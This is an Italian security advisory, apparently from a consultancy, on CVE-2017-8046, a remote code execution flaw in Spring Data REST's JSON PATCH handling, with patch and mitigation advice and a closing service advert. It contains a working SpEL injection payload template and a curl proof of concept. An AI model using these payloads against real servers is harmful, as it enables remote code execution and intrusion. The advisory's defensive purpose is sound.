CVE-2017-8046: Vulnerabilità di Esecuzione di Codice Remoto tramite PATCH in Spring Data REST

In 2017 è stata individuata una vulnerabilità critica (CVSS 9.8) nelle versioni di Spring Data REST precedenti alla 2.6.9 (Ingalls SR9) e 3.0.1 (Kay SR1), e in Spring Boot nelle versioni precedenti alla 1.5.9 e 2.0 M6. Questa falla consente ad attaccanti remoti di eseguire codice arbitrario sul server tramite richieste PATCH appositamente costruite. Sebbene la vulnerabilità sia stata riconosciuta e corretta dal team Spring, non sono stati segnalati casi diffusi di sfruttamento attivo al momento, probabilmente a causa della specificità dell’attacco che richiede l’elaborazione di patch JSON abilitata ed esposta.

Prodotto Spring Eureka
Data 2025-06-02 10:53:23
Informazioni Trending, Fix Available

Riassunto tecnico

La vulnerabilità deriva dalla deserializzazione non sicura e dalla gestione pericolosa delle espressioni nel modo in cui Spring Data REST gestisce le richieste PATCH con il tipo di contenuto application/json-patch+json.

Gli attaccanti possono costruire un’operazione JSON Patch utilizzando il linguaggio di espressione di Spring (SpEL), come nel seguente esempio:

[
  {
    "op": "replace",
    "path": "T(java.lang.Runtime).getRuntime().exec(\"<command>\").x",
    "value": "pwned"
  }
]

Questo consente di eseguire codice Java arbitrario (ad esempio, lanciare comandi di sistema o esfiltrare dati). L’espressione viene interpretata dal motore SpEL del framework Spring a causa della mancata validazione dell’input nella gestione delle PATCH.

Esempio di sfruttamento tramite curl:

curl --request PATCH \
  -H "Content-Type: application/json-patch+json" \
  -d '[{ "op" : "replace", "path" : "T(java.lang.Thread).sleep(10000).x", "value" : "pwned" }]' \
  http://localhost:8080/entity/1

Questo ritarderebbe la risposta di 10 secondi, dimostrando l’esecuzione del codice.

Payload più complessi possono estrarre l’output del comando o stabilire reverse shell tramite l’esecuzione di comandi a runtime.

Raccomandazioni

  1. Aggiornare immediatamente:

    • Aggiornare Spring Data REST alla versione 2.6.9 o successiva (Ingalls SR9) oppure 3.0.1 o successiva (Kay SR1).
    • Aggiornare Spring Boot alla versione 1.5.9 o successiva oppure 2.0 M6 o successiva.
  2. Disabilitare il supporto PATCH JSON se non necessario:

    • JSON Patch non è comunemente richiesto nella maggior parte delle API REST. Se non utilizzato, disattivare il supporto per application/json-patch+json.
  3. Filtrare e sanificare l’input:

    • Applicare una validazione rigorosa delle richieste per impedire che espressioni malevole vengano interpretate.

Vuoi garantire la massima sicurezza informatica alla tua azienda? ISGroup SRL è qui per aiutarti con soluzioni di cyber security su misura per la tua azienda.

Vuoi che gestiamo tutto noi per te? Il servizi di Virtual CISO e di gestione delle vulnerabilità sono perfetti per la tua organizzazione.

Hai già le idee chiare su quello che ti serve? Esplora i nostri servizi di:

E molto altro. Proteggi la tua azienda con i migliori esperti di cybersecurity!